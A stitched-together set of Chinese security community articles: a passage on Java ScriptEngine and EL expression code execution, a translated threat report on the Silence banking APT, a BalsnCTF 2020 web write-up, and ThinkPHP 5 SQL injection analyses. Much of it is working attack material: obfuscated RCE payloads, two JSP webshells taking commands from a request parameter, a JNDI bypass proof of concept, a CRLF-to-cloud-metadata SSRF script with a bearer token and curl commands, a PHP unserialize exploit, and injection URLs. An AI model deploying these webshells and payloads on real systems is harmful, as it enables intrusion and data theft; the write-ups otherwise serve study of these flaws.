String payload3 = "var a=exp();function exp(){java.lang./****/Runtime./***/getRuntime().exec(\"calc\")};";
String payload4 = "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065.getRuntime().exec(\"calc\");";
String payload5 = "var a= Java.type(\"java.lang\"+\".Runtime\"); var b =a.getRuntime();b.exec(\"calc\");";
String payload6 = "load(\"nashorn:mozilla_compat.js\");importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"calc\");";
//兼容Rhino功能 https://blog.csdn.net/u013292493/article/details/51020057
String payload7 = "var a =JavaImporter(java.lang); with(a){ var b=Runtime.getRuntime().exec(\"calc\");}";
// String payload8 = "var scr = document.createElement(\"script\");scr.src = \"http://127.0.0.1:8082/js.js\";document.body.appendChild(scr);exec();";
eval(payload7);
}
public static void eval(String payload){
payload=payload;
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
try {
engine.eval(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后自己突发奇想，思考能不能远程加载js代码？然后执行远程js代码里面的exp。参考 **payload8**
function exec(){
var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command("calc"); x.start();};
}
执行失败！百度了一下原因大概是因为java在执行js代码的时候没有浏览器的内置对象如：document，window等等。
[解决方法](https://blog.csdn.net/xiaozei523/article/details/58002392)
大概就是添加组件配置java解析浏览器的环境？？这样的话基本上不可能这样配置了，于是自己就没有在深入了解了。
#### java执行js代码的底层原理
这里自己调试会很多次中间的具体流程基本上就是一个解析过程，所以只看最后。
其实本质上还是反射。最后的调用apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
的apply方式去执行。
在看一下调用栈：
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
eval:24, test (shell.ScriptEngineManager)
main:17, test (shell.ScriptEngineManager)
**调试过程大家可以自己去测试**
而上面的加载远程js的思路是来自自己调试的过程。
那webshell.无回显的
<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="javax.script.ScriptEngine" %>
<%
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
String payload = request.getParameter("cmd");
engine.eval(payload);
%>
然后不得不说java中还有一个表达式执行的,那就是EL表达式
### ELProcessor
表达式语言（Expression
Language），或称EL表达式，简称EL，是Java中的一种特殊的通用编程语言，借鉴于JavaScript和XPath。主要作用是在Java
Web应用程序嵌入到网页（如JSP）中，用以访问页面的上下文以及不同作用域中的对象
，取得对象属性的值，或执行简单的运算或判断操作。EL在得到某个数据时，会自动进行数据类型的转换。
ELProcessor也有自己的eval函数，并且可以调用Java对象执行命令。
package shell.EL;
import javax.el.ELProcessor;
public class test {
public static void main(String[] args) throws Exception {
String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='calc';java.lang.Runtime.getRuntime().exec(exp);\")";
String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
".newInstance().getEngineByName('nashorn')" +
".eval(\"s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
ELeval(payload);
}
public static void ELeval(String payload){
payload=payload;
ELProcessor elProcessor = new ELProcessor();
try {
elProcessor.eval(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
}
我们也可以看看EL表达式的底层原理。
#### EL表达式的底层原理
我们使用payload进行debug调试，一直跟着流程走发现最后还是通过反射去执行。
最后在AstValue类中执行getValue方法，从而调用payload，之后就会js代码执行的流程一样了。
调用栈：
getValue:159, AstValue (org.apache.el.parser)
getValue:190, ValueExpressionImpl (org.apache.el)
getValue:61, ELProcessor (javax.el)
eval:54, ELProcessor (javax.el)
ELeval:20, test (shell.EL)
main:13, test (shell.EL)
webshell.无回显的
<%@ page import="javax.el.ELProcessor"%>
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%
String cmd =request.getParameter("cmd");
String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='"+cmd+"';java.lang.Runtime.getRuntime().exec(exp);\")";
ELProcessor elProcessor = new ELProcessor();
elProcessor.eval(payload);
%>
介绍到这里，突然想到了jndi注入绕过jdk191+，其中的一种方法就是利用ELProcessor类
这里直接给出poc
Registry registry = LocateRegistry.createRegistry(rmi_port);
// 实例化Reference，指定目标类为javax.el.ELProcessor，工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
还有一种方法是通过LDAP去绕过，自己写了一个[小工具](https://github.com/Firebasky/LdapBypassJndi)
## 总结
通过学习XMLDecoder的底层执行的流程去发现其他表达式执行，而其中的很多底层都是通过java反射技术实现的！
若文章中出现错误希望师傅们提出，感谢~
> 参考：
>
> <https://www.freebuf.com/articles/network/247331.html>
>
> <https://www.anquanke.com/post/id/214435>
>
> <https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html> | 社区文章 |
Silence是一个新的活跃的APT组织，会自己开发攻击工具，同时会借鉴其他组织的TTPS。主要攻击目标是银行等金融组织。
# Silence group
Group-IB
2016年7月检测到Silence相关的第一起事件。那时攻击者应该才开始测试软件的共那个。Silence的第一个目标是俄罗斯银行，因为攻击者会尝试攻击AWS
CBR。之后，黑客沉默了一段时间，这也是Silence的标准实践方式。
研究人员分析发现Silence团队有两个角色，分别是运营者和开发者。运营者应该是team
leader，具体负责渗透测试，对银行系统渗透测试工具有深入的了解。开发者是经验丰富的逆向工程师，负责开发执行攻击的工具，并能够修改复杂的漏洞利用和第三方软件。而且，开发者对ATM进程、系统和非公开的恶意软件样本都有丰富的了解。
**Silence: 开发的工具和攻击类型**
# 工具集
Silence group的一个重要特征就是使用自己组织开发的工具，包括：
* Silence，该组织开发命名的框架；
* Atmosphere pack，攻击ATM的工具集；
* Farse，从受感染的计算机中获取密码的小工具；
* Cleaner，删除远程连接的日志。
## Silence
Silence group使用的框架是模块化的，含有下面的组件：
* Silence.Downloader加载器；
* 主模块为Silence，补丁后门为Kikothac；
* Silence.SurveillanceModule，用户监视模块；
* Silence.ProxyBot代理。
主模块会加载可执行文件，这不会限制系统的功能，并预留了扩展特征的空间。
伪装为office文件的附件利用被打开后，木马的Silence.Downloader加载器会下载并安装。加载器会安装到开始菜单中，并等候命令下载并启动下一阶段。如果攻击者对服务器不感兴趣，僵尸就会执行自毁命令。
Silence木马的主体会在启动后将自己加入到开始菜单中，然后在服务器上注册并进入命令接收或执行循环中。木马的主任务是在命令翻译器中执行远程命令，下载和启动任意程序。
下图是恶意软件执行的C2命令表：
为了进入企业网络的独立（网）段中，Silence会下载ProxyBot模块。该代理模块的目的是通过受感染的设备将外部C2服务器的浏览重定向到被入侵网络的本地节点上，因为从外部是不能访问的。研究任意共发现两个版本，一个是Delphi语言编写的，一个是C#编写的。
为了监控受害者银行的用户和金融组织的合法活动，攻击者安装了SurveillanceModule模块，该模块可以偷偷截图并融合到伪数据流中。
在攻击的最后一阶段，僵尸主机会在系统中安装Meterpreter stager，负责在网络中导航。
分析C2服务器过程中，研究任意发现了与Silence服务器46.183.221[.]89进行通信的Kikothac后门。开始的时候，研究任意认为软件与Silence活动没有关联，但上传到HybridAnalysis沙箱的时间就是Silence攻击的时间，而且Kikothac样本也被上传到VirusTotal中，文件名就是Silence
Trojan：
经过深入分析，研究任意发现到原来C2服务器地址的引用已经没有了，负责连接服务器的代码使用的是到编译器生成的静态链接代码的引用：
而且，所有的Kikothac命令都是以`#`开头的，包括从web服务器下载文件的命令`#wget`，Silence木马中的命令也是一样的。其他不在Kikothac命令列表中的字符串都会自动发送给命令翻译器cmd.exe来执行。Silence也是这样做的，下面是2个Kikothac命令示例：
从中可以看出，这两个命令都会用到Silence木马中，命令会复制顺序、参数类型以及逻辑。就是说会控制打补丁的Kikothac，随后用于Silence
Trojan中。
## Atmosphere
为了控制ATM
自动取款机，Silence会使用一个特别的软件Atmosphere。随着时间的改进，木马会明显地进化来满足犯罪分子的需求。比如，开发者改变了进程注入的逻辑并加入灵活的注入器，这也扩展了目标ATM列表。攻击者移除了可能会影响攻击活动的一些无用特征，比如软件的最新版本不会处理来自PIN
pad的命令。而早期版本，软件会重编译多次，产生一些失败的提现尝试。
黑客会在ATM上远程安装Atmosphere.Dropper。软件含有一个DLL库，这也是Atmosphere木马的主体部分。主体部分被提取后，是放弃会将库注入到进程fwmain32.exe中。然后攻击者就可以远程控制ATM了。在早期版本中，有一个使用PIN
pad来控制ATM的方法，后来这些特征被删除了。
程序会通过特定扩展名的文件来接收命令，然后读取命令并执行；恶意软件作者还会用一些无用的话覆写这些文件，然后删除这些文件来阻碍研究人员的取证工作。但软件逻辑中存在错误，错误会导致在文件结尾处写入一些无意义的内容。
Silence使用的软件中也存在该错误，研究人员推测两款恶意软件是同一作者。
在一起银行攻击活动的应急响应过程中，Group-IB取证专家就发现了Atmosphere软件的11个样本，在不同时间编译的，有一些不同。在一个含有木马的目录中，研究人员发现了命令翻译器和单独的注入器的脚本以及进程识别符。但脚本传递的是目标进程名而不是进程识别符，这就导致尝试控制ATM失败。
## Undernet DDoS bot
在分析Silence服务器时，研究人员发现一个名为Perl IrcBot的DDoS bot。2017年4月20日，有许多从driley123@
bellsouth[.]net发来的钓鱼邮件，邮件含有从C2服务器地址92.222.68[.]32下载Silence.Downloader到机器的漏洞利用。
该程序最早出现在一个西班牙语的论坛上hxxps://forum.voidsec[.]com/thread-93.html
。该僵尸的修改版本可以通过hxxps://github[.]com/H1R0GH057/Anonymous/blob/master/ircabuse.pl
和hxxps://gist.github[.]com/dreadpiratesr/7bccc6eed49150a8564a
查看。Silence使用的就是基于Undernet DDoS Bot的版本。
该软件是用IRC消息进行控制的，一共使用了两个服务器：
* ira.pubcs16[.]ro;
* piratesofcyber[.]tk.
## Smoke Bot
2017年发送的英文邮件中含有一个JS加载器，加载器可以在系统中安装Smoke Bot。Smoke
Bot从2011年起就在地下论坛出售了，卖家是一个名为SmokeLdr的说俄语的黑客。从了下载和执行任意文件，Smoke Bot还有以下特征：
* 从浏览器、邮件程序和其他软件收集用户凭证；
* 从保存的邮箱账号中收集邮件地址；
* 拦截输入浏览器的数据；
* 实时拦截email和FTP密码；
* 收集特定规则的文件；
* DDoS模块；
* TeamViewer模块；
* 加密货币挖矿模块。
本文来源于俄罗斯威胁情报机构 Group-IB 公司发布的<Silence: Moving into the darkside>。附链接：
<https://www.group-ib.com/resources/threat-research/silence.html> | 社区文章 |
# 2020 BalsnCTF web 部分题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
题目文件：<https://pan.baidu.com/s/1utpM99xbMNCX7m7J26WedQ>
提取码：v7qg
## tpc
<http://35.194.175.80:8000/>
题目说flag就在工作目录下并且不可以暴力猜解出文件名
试着file协议，发现可以任意文件读取，那么我们首先要做的是试着读取源文件
读取/proc/self/cmdline查看启动命令
`/usr/local/bin/python /usr/local/bin/gunicorn main-dc1e2f5f7a4f359bb5ce1317a:app --bind 0.0.0.0:8000 --workers 5 --worker-tmp-dir
/dev/shm --worker-class gevent --access-logfile - --error-logfile -`
谷歌以下gunicorn的用法很容易知道源文件就是`main-dc1e2f5f7a4f359bb5ce1317a.py`
再读取/proc/self/environ查看环境变量
HOSTNAME=tpc-1PYTHON_PIP_VERSION=19.0.3SHLVL=1HOME=/home/ggGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.2PWD=/opt/workdir
于是就知道源文件在 /opt/workdir/main-dc1e2f5f7a4f359bb5ce1317a.py
import urllib.request
from flask import Flask, request
app = Flask(__name__)
@app.route("/query")
def query():
site = request.args.get('site')
text = urllib.request.urlopen(site).read()
return text
@app.route("/")
def hello_world():
return "/query?site=[your website]"
if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=8000)
就提供了一个很简单的ssrf功能，那么为了找到下一步的思路，就必须收集更多信息，用字典fuzz一下得到以下关键信息
/proc/1/net/arp
172.17.0.4 0x1 0x0 00:00:00:00:00:00 * docker0
172.17.0.3 0x1 0x0 00:00:00:00:00:00 * docker0
172.17.0.2 0x1 0x2 02:42:ac:11:00:02 * docker0
10.140.0.1 0x1 0x2 42:01:0a:8c:00:01 * eth0
/etc/hosts
# /etc/hosts: Local Host Database
#
# This file describes a number of aliases-to-address mappings for the for
# local hosts that share this file.
#
# In the presence of the domain name service or NIS, this file may not be
# consulted at all; see /etc/host.conf for the resolution order.
#
# IPv4 and IPv6 localhost aliases
127.0.0.1 localhost
::1 localhost
#
# Imaginary network.
#10.0.0.2 myname
#10.0.0.3 myfriend
#
# According to RFC 1918, you can use the following IP networks for private
# nets which will never be connected to the Internet:
#
# 10.0.0.0 - 10.255.255.255
# 172.16.0.0 - 172.31.255.255
# 192.168.0.0 - 192.168.255.255
#
# In case you want to be able to connect directly to the Internet (i.e. not
# behind a NAT, ADSL router, etc...), you need real official assigned
# numbers. Do not try to invent your own network numbers but instead get one
# from your network provider (if any) or from your regional registry (ARIN,
# APNIC, LACNIC, RIPE NCC, or AfriNIC.)
#
169.254.169.254 metadata.google.internal metadata
hosts文件里面添加了一条特殊的记录，谷歌一下发现里面存放着实例的一些数据
直接访问`metadata.google.internal`，得到：
`0.1/ computeMetadata/`
继续访问下一级目录发现500了
阅读[文档](https://cloud.google.com/compute/docs/storing-retrieving-metadata#querying)得知要加入`Metadata-Flavor: Google`请求头
python的urlllib库之前爆出存在着CRLF的漏洞，利用这个来绕过
`"http://35.194.175.80:8000/query?site=http://metadata.google.internal/PATH/%20HTTP/1.1%0d%0aMetadata-Flavor:%20Google%0d%0apadding:"`
写个脚本读取所有数据：
import requests
def req(parent,path):
burp0_url = "http://35.194.175.80:8000/query?site=http://metadata.google.internal"+parent+path+"%20HTTP/1.1%0d%0aMetadata-Flavor:%20Google%0d%0apadding:"
return requests.get(burp0_url)
def getInfo(parent,path):
r = req(parent,path)
if r.status_code == 500:
return
print(parent+path)
print(r.text)
print("----------------------------------------------------------------------")
if not path.endswith("/"):
return
child = r.text.splitlines()
parent=parent+path
for i in child:
getInfo(parent,i)
getInfo(parent="",path="/")
得到以下数据（只显示对题目有用的数据）
...
---------------------------------------------------------------------- /computeMetadata/v1/project/project-id
balsn-ctf-2020-tpc
------------------------------------------------------------------ /computeMetadata/v1/instance/service-accounts/default/token
{"access_token":"ya29.c.KpcB5QdRi_ofZUDT6YcnsZrXwex0ocEfddkf1cL9qgsBVUuJI6xm7X__zkSxCc4jbw35HGJ2ZSbVUQljIKqOWbe_-q33It_9ip0sO15lH8usKPuj1I-vg2BHQeyizyWloiDf2vlRbL0EiZNaiKa3_tGFFEbxt9JrmsfYxWoN3_VOn3cqTbjNyEdj3-Xr3oQUiD0ESz0H2NS4Lg","expires_in":3147,"token_type":"Bearer"}
---------------------------------------------------------------------- /computeMetadata/v1/instance/service-accounts/default/scopes
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/trace.append
---------------------------------------------------------------------- ...
阅读[文档](https://cloud.google.com/storage/docs)来了解下载存储在服务器上的数据
#查询存储分区：
curl -X GET -H "Authorization: Bearer ya29.c.KpcB5QezRL_BHhcBssfoC6rViLqbqi72L687AYtNLcDVGO2vf__MDx-Z-4X-j1Tk5iXmMZfpUvEpzwlIfl4RctiaZQa_mODL0KI5DqdyMic7E8WBGSi1GB4ViTLf-u8P155FfcteCoA_PVkWRt6phv_W_iFRsooJBLW7aRllZwP9Dx2-G1UVixDww-GUzLRbBN2CqT7HKp1AKA" \
"https://storage.googleapis.com/storage/v1/b?project=balsn-ctf-2020-tpc"
#查询存储对象
curl -X GET -H "Authorization: Bearer ya29.c.KpcB5QezRL_BHhcBssfoC6rViLqbqi72L687AYtNLcDVGO2vf__MDx-Z-4X-j1Tk5iXmMZfpUvEpzwlIfl4RctiaZQa_mODL0KI5DqdyMic7E8WBGSi1GB4ViTLf-u8P155FfcteCoA_PVkWRt6phv_W_iFRsooJBLW7aRllZwP9Dx2-G1UVixDww-GUzLRbBN2CqT7HKp1AKA" \
"https://www.googleapis.com/storage/v1/b/asia.artifacts.balsn-ctf-2020-tpc.appspot.com/o"
#下载对象：
curl -X GET -o "/tmp/obj1" -H "Authorization: Bearer ya29.c.KpcB5QezRL_BHhcBssfoC6rViLqbqi72L687AYtNLcDVGO2vf__MDx-Z-4X-j1Tk5iXmMZfpUvEpzwlIfl4RctiaZQa_mODL0KI5DqdyMic7E8WBGSi1GB4ViTLf-u8P155FfcteCoA_PVkWRt6phv_W_iFRsooJBLW7aRllZwP9Dx2-G1UVixDww-GUzLRbBN2CqT7HKp1AKA" \
"https://www.googleapis.com/download/storage/v1/b/asia.artifacts.balsn-ctf-2020-tpc.appspot.com/o/containers%2Fimages%2Fsha256:1c2e7c9e95b20a8dde6674890b722779c5a797d9d5968a9fa3a0ef89cd90f9b4?generation=1605158579380048&alt=media"
将所有对象下载下来后`cat * | grep -a flag`
获得flag路径：`/opt/workdir/flag-6ba72dc9ffb518f5bcd92eee.txt`
BALSN{What_permissions_does_the_service_account_need}
## L5D
题目描述
> 「Taking L5D was a profound experience, one of the most important things in
> my life.」
>
> Try this new Unserialize-Oriented Programming System a.k.a. L5D !
>
> <http://l5d.balsnctf.com:12345/index.php>
>
> PHP Version: 7.0.33
>
> Author: kaibro
题目提供了源码，阅读后发现以下可能作为关键点的地方：
变量覆盖：
任意命令执行：
修改全局变量cmd
但是题目给反序列化的数据加上了一个限制：不能出现`*`(protect变量就需要`*`号)
实际测试一下发现，并不能用public,private的同名变量来代替protect变量，这是难点一
还有就是其他类的`__wakeup`方法会禁止我们通过L5D_Upload来任意变量覆盖，然后L5D_Upload又必须在其他的`__destruct`方法前执行，这是难点二
难点二我们可以通过最后一个调用L5D_Upload的`__wakeup`，第一个调用它的`__destruct`来绕过，因为`__wakeup`的调用顺序是从里到外，从前到后，`__destruct`的调用顺序是从外到内，从前到后，所以构造
class L5D_Upload{
public $padding;
public function __construct()
{
$this->padding = new L5D_ResetCMD();
}
}
class L5D_ResetCMD {
public $padding;
protected $new_cmd = "cat /flag";
public function __construct()
{
$this->padding=new L5D_Command();
}
}
class L5D_Command{
}
new L5D_Upload();
接着就是难点一了，对`*`号的禁用导致我们不能直接反序列化一个protect属性的成员
但是我们可以用大写S来绕过：
可以利用大写S来绕过对protected,private等属性的字符检测如：
O:12:"L5D_ResetCMD":2:{s:7:"padding";O:11:"L5D_Command":0:{}S:10:"\00\2a\00new_cmd";s:9:"cat /flag";}
这样new_cmd就是protect属性了
最后的exp:
class L5D_Upload{
public $padding;
public function __construct()
{
$this->padding = new L5D_ResetCMD();
}
}
class L5D_ResetCMD {
public $padding;
protected $new_cmd = "cat /flag";
public function __construct()
{
$this->padding=new L5D_Command();
}
}
class L5D_Command{
}
$a=str_replace('s:10:"'."\x00*\x00",'S:10:"\00\2a\00',serialize(new L5D_Upload()));
echo urlencode ($a);
## 总结
反序列化在禁止\x00和*时，我们可以利用大写S来绕过对protected,private等属性的字符检测如：
O:12:"L5D_ResetCMD":2:{s:7:"padding";O:11:"L5D_Command":0:{}S:10:"\00\2a\00new_cmd";s:9:"cat /flag";} | 社区文章 |
# 前言
说好的和组内大佬一起审cms，搞着搞着就走上了分析ThinkPHP的道路。
分析了这两年的一些ThinkPHP注入漏洞，希望找到一些共性。有tp5的也有tp3的。
至于最终的总结，由于能力问题也就不在这献丑了，大师傅们肯定有自己更好的见解。
比如phpoop师傅的 [ThinkPHP3.2.3框架实现安全数据库操作分析](https://xz.aliyun.com/t/79)
# ThinkPHP 5.0.9 鸡肋SQL注入
虽说鸡肋，但是原理还是很值得深思的，而且也能靠报错获取一手数据库信息。
## 漏洞利用
先从官网下载版本为`5.0.9`的thinkphp，然后创建一个demo应用，这里直接借鉴的p神vulhub中的代码和数据
<https://github.com/vulhub/vulhub/tree/master/thinkphp/in-sqlinjection/www> （
不直接用docker环境是为了方便后期调试溯源
还有一个点就是thinkphp默认是开启debug模式的，就会显示尽可能多的报错信息，也是利用这个才能获取到数据库信息。这个感觉其实也怪不了官网，毕竟本身就是个框架，开发过程中debug是刚需，而且官方手册也一再强调过要在生产环境要关闭debug，即使默认关闭觉得也不缺乏直接debug环境上线的程序员
:dizzy_face:
再有就是说明一下index.php中的代码
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
foreach($result as $row) {
echo "<p>Hello, {$row['username']}</p>";
}
}
重点在于`$ids = input('ids/a');`，这也是触发漏洞一个关键，至于是什么意思呢可以查看官方手册得到答案
就是以数组的形式接受参数。
最后，可以开始真正的攻击了，访问如下url
http://localhost/tp5.0.9/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
即可得到sql语句的报错
在下面还能报错出数据库的配置信息
那为什么说鸡肋呢，因为之只能通过报错获取类似于`database()`、`user()`这类信息，而不支持子查询
## 漏洞分析
在一开始下好断点，跟进`$t->where('id', 'in', $ids)->select()`语句
一开始先调用了`thinkphp\library\think\db\Query.php:2277`的`select`方法
然后跟进2306行处的`$sql = $this->builder->select($options);`
然后来到664行
public function select($options = [])
{
$sql = str_replace(
['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],
[
$this->parseTable($options['table'], $options),
$this->parseDistinct($options['distinct']),
$this->parseField($options['field'], $options),
$this->parseJoin($options['join'], $options),
$this->parseWhere($options['where'], $options),
$this->parseGroup($options['group']),
$this->parseHaving($options['having']),
$this->parseOrder($options['order'], $options),
$this->parseLimit($options['limit']),
$this->parseUnion($options['union']),
$this->parseLock($options['lock']),
$this->parseComment($options['comment']),
$this->parseForce($options['force']),
], $this->selectSql);
return $sql;
}
在这里调用了一次`$this->parseWhere($options['where'], $options)`解析
protected function parseWhere($where, $options)
{
$whereStr = $this->buildWhere($where, $options);
....
}
跟进第一行的`$whereStr = $this->buildWhere($where, $options);`
然后来到下面的`buildWhere`函数中，最后进入到282行附近的如下语句
} else {
// 对字段使用表达式查询
$field = is_string($field) ? $field : '';
$str[] = ' ' . $key . ' ' . $this->parseWhereItem($field, $value, $key, $options, $binds);
}
重点就在`$this->parseWhereItem`中，也就是在这里进行了对`in`的处理，来看下这个函数
由于代码太多，只贴一部分重要的相关处理逻辑
protected function parseWhereItem($field, $val, $rule = '', $options = [], $binds = [], $bindName = null)
{
....
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
// 处理带非单词字符的字段名
$bindName = md5($bindName);
}
....
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
// IN 查询
if ($value instanceof \Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$value = is_array($value) ? $value : explode(',', $value);
if (array_key_exists($field, $binds)) {
$bind = [];
$array = [];
foreach ($value as $k => $v) {
if ($this->query->isBind($bindName . '_in_' . $k)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
} else {
$bindKey = $bindName . '_in_' . $k;
}
$bind[$bindKey] = [$v, $bindType];
$array[] = ':' . $bindKey;
}
$this->query->bind($bind);
$zone = implode(',', $array);
} else {
$zone = implode(',', $this->parseValue($value, $field));
}
$whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
}
}
....
return $whereStr;
}
可以看到一开始其实是对传入的参数进行了正则匹配处理的，但是由于传入的是一个数组，也就绕过了这个匹配
可以看到之后就将数组中的值遍历出来，然后将key值拼接到SQL语句中
最终的`$whereStr`值为
`id` IN (:where_id_in_0,updatexml(0,concat(0xa,user()),0))
从而导致在编译SQL语句的时候发生错误，从而产生报错。
这也就意味着我们控制了PDO预编译过程中的键名，这里有个疑问就是为什么不能用子查询呢？
引用下p神的文章 <https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html>
> 通常，PDO预编译执行过程分三步：
>
> 1. `prepare($SQL)` 编译SQL语句
> 2. `bindValue($param, $value)` 将value绑定到param的位置上
> 3. `execute()` 执行
>
>
> 这个漏洞实际上就是控制了第二步的`$param`变量，这个变量如果是一个SQL语句的话，那么在第二步的时候是会抛出错误的。
>
> 但实际上，在预编译的时候，也就是第一步即可利用。
>
> 究其原因，是因为我这里设置了`PDO::ATTR_EMULATE_PREPARES => false`。
>
>
> 这个选项涉及到PDO的“预处理”机制：因为不是所有数据库驱动都支持SQL预编译，所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理，那么PDO内部会模拟参数绑定的过程，SQL语句是在最后`execute()`的时候才发送给数据库执行；如果我这里设置了`PDO::ATTR_EMULATE_PREPARES
> => false`，那么PDO不会模拟预处理，参数化绑定的整个过程都是和Mysql交互进行的。
>
>
> 非模拟预处理的情况下，参数化绑定过程分两步：第一步是prepare阶段，发送带有占位符的sql语句到mysql服务器（parsing->resolution），第二步是多次发送占位符参数给mysql服务器进行执行（多次执行optimization->execution）。
>
> 这时，假设在第一步执行`prepare($SQL)`的时候我的SQL语句就出现错误了，那么就会直接由mysql那边抛出异常，不会再执行第二步。
在ThinkPHP中也能明显看到`PDO::ATTR_EMULATE_PREPARES`这个选项是默认关闭的
// PDO连接参数
protected $params = [
PDO::ATTR_CASE => PDO::CASE_NATURAL,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL,
PDO::ATTR_STRINGIFY_FETCHES => false,
PDO::ATTR_EMULATE_PREPARES => false,
];
这样，在执行预编译的编译SQL语句阶段mysql就会报错，但并没有与数据交互，所以只能爆出类似于`user()`、`database()`这类最基础的信息，而不能进行子查询。
最后，膜一下p神对于这种底层机制的深入研究，从最根本的原理层面去剖析这种问题。
关于这个漏洞可以触发的点除了`in`还有一些例如`like`、`not like`、`not in`
框架采用的PDO机制可以说从根本上已经解决了一大堆SQL方面的安全问题，但往往有时就是对安全的过于信任，导致这里是在参数绑定的过程中产生了注入，不过PDO也可以说是将危害降到了最小。
# ThinkPHP 5.0.15 update/insert 注入
## 漏洞利用
从官网下载`ThinkPHP5.0.15`，在`application/index/controller/Index.php`中插入
public function index()
{
$username = input('get.username/a');
$res = db('user')->where(['id'=> 1])->insert(['username'=>$username]);
var_dump($res);
}
依旧是以数组的形式接受参数
然后创建一个简单的`user`表
然后在`database.php`配置好数据库信息，最后打在`congfig.php`中将`app_debug`开为`true`。（应该是前一个5.0.9的漏洞原因修改了默认设置吧
最后访问如下url，即可产生sql注入（虽然还是鸡肋型的
http://localhost/tp5.0.15/public/index.php
?username[0]=inc
&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)
&username[2]=1
## 漏洞分析
在`$res = db('user')->where(['id'=>
1])->insert(['username'=>$username]);`下好断点后进入
跟随到`insert`函数中`thinkphp/library/think/db/Query.php:2079`
public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
// 分析查询表达式
$options = $this->parseExpress();
$data = array_merge($options['data'], $data);
// 生成SQL语句
$sql = $this->builder->insert($data, $options, $replace);
....
跟进`$sql = $this->builder->insert($data, $options, $replace);`
然后跟进到第一行的`$data = $this->parseData($data, $options);`中看看是如何解析数据的
protected function parseData($data, $options)
{
if (empty($data)) {
return [];
}
// 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}
$result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
....
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
} elseif (is_scalar($val)) {
....
}
}
return $result;
}
对传入的`$data`变量进行遍历，当`$val[0]=='inc'`时，就会将`$val[1]`与`$val[2]`拼接
（本意应该是生成一个
INSERT INTO `user` (`username`) VALUES ( username+1 )
这类似的语句
但是这里没有对拼接的参数进行验证，导致恶意sql语句被拼接，从而引发sql注入
除了`insert`方法还有`update`也能触发该漏洞
## 漏洞修复
官方给出的修复方式是连接前对`$val[1]`进行一次判断
